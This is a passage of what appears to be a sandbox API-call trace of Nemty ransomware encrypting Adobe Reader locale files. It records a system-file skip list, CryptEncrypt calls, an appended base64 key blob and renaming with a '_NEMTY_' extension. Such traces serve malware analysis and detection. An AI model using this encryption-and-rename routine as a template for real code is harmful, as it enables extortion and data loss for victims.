(lpString1="EScript.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="ntuser.dat") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="desktop.ini") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="CONFIG.SYS") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="RECYCLER") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="bootmgr") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="programdata") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="appdata") returned 1 [0184.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.505] Sleep (dwMilliseconds=0x5) [0184.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a04c30, dwHighDateTime=0x1d561e8)) [0184.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a04c30, dwHighDateTime=0x1d561e8)) [0184.515] GetLastError () returned 0x0 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.515] GetLastError () returned 0x0 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.515] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.515] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.515] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.515] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ZkADe7TejiQXmpPfKcjE++CvHazcuWY7+0QLdoka3/VpnO8U8tW6S+FrpdKjME62\r\nyx+qrpH9ewFjPMnx4kdUcIzIyISCS5FalRMcRzis37GX8vUW1VGYpXuS2hDHOt7b\r\ne6ExTV64gdlGFe3fVYq5aVLM2PKoZChMWg/NLi8/faBoUagO95K3GftmHlHLA09G\r\n4ljxABwD4aRRmI4oWUpKEKD7nCMXTFPhsTFgvoPFfbuAur09Myv7218VDoDsv7W8\r\neWzu/chLynle5B/rgkDScrF3loO/v3s/ZnQrbz3KOkkqduR2PsBty64/+mSgloAC\r\nZfDwx+ug4TWo1NvQipD2Aw==\r\n", pcchString=0x653e5dc) returned 1 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\escript.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.516] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=39424) returned 1 [0184.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9a00) returned 0x6352c48 [0184.516] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.516] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9a00, lpOverlapped=0x0) returned 1 [0184.520] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.520] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9a00, lpOverlapped=0x0) returned 1 [0184.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.520] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=39424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a00 [0184.520] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.520] CloseHandle (hObject=0x2e8) returned 1 [0184.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.520] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\escript.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\escript.sve._nemty_kgobjgd_")) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.521] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.SVE", cAlternateFileName="")) returned 1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2=".") returned 1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="..") returned 1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="...") returned 1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="windows") returned -1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="rsa") returned -1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="NTDETECT.COM") returned -1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="ntldr") returned -1 [0184.521] lstrcmpiW (lpString1="IA32.SVE", lpString2="MSDOS.SYS") returned -1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="IO.SYS") returned -1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="boot.ini") returned 1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="boot.ini") returned 1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="ntuser.dat") returned -1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="desktop.ini") returned 1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="CONFIG.SYS") returned 1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="RECYCLER") returned -1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="bootmgr") returned 1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="programdata") returned -1 [0184.522] lstrcmpiW (lpString1="IA32.SVE", lpString2="appdata") returned 1 [0184.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SVE", lpUsedDefaultChar=0x0) returned 8 [0184.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SVE", lpUsedDefaultChar=0x0) returned 8 [0184.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SVE", lpUsedDefaultChar=0x0) returned 8 [0184.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SVE", lpUsedDefaultChar=0x0) returned 8 [0184.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.522] Sleep (dwMilliseconds=0x5) [0184.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a2ad90, dwHighDateTime=0x1d561e8)) [0184.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a2ad90, dwHighDateTime=0x1d561e8)) [0184.530] GetLastError () returned 0x0 [0184.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.530] GetLastError () returned 0x0 [0184.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.530] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.531] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.531] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="xvItKHPEyUroXkp74togyVA4gk/qcTgwuTxLgPpPzL2FZqnMnS/Ry2+GcJXAzuI4\r\nffwZIbJpTMzk6CS/yM34ITbepyFok/G308JB+7pYti29tFj4mfbCb/+L5rThaoka\r\nVl5FUMR/2laxs4/g6X19OtZ1+KBgqEPPTdjK7jDPtzNJEXzVBbVjPGvCLoA2u1kF\r\nfpOWusXgX3h4VD2tdpkFqOT+jpDNYRkeA2nGaH1P+NFHYb742yHlc+CgBD2eQGUm\r\ncOShVJtF12OzAS+RIInWMrcb9Mrq7EDrJWavH7LXIqejkntdp70/0FGVgPJBzh8u\r\nyKS9JPgR8XbIxCgIcawVaQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\IA32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ia32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.531] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0184.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0184.531] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.531] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0184.533] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.533] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0184.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.533] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0184.533] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.533] CloseHandle (hObject=0x2e8) returned 1 [0184.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.534] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\IA32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ia32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\IA32.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ia32.sve._nemty_kgobjgd_")) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.534] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.SVE", cAlternateFileName="MAKEAC~1.SVE")) returned 1 [0184.534] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2=".") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="..") returned 1 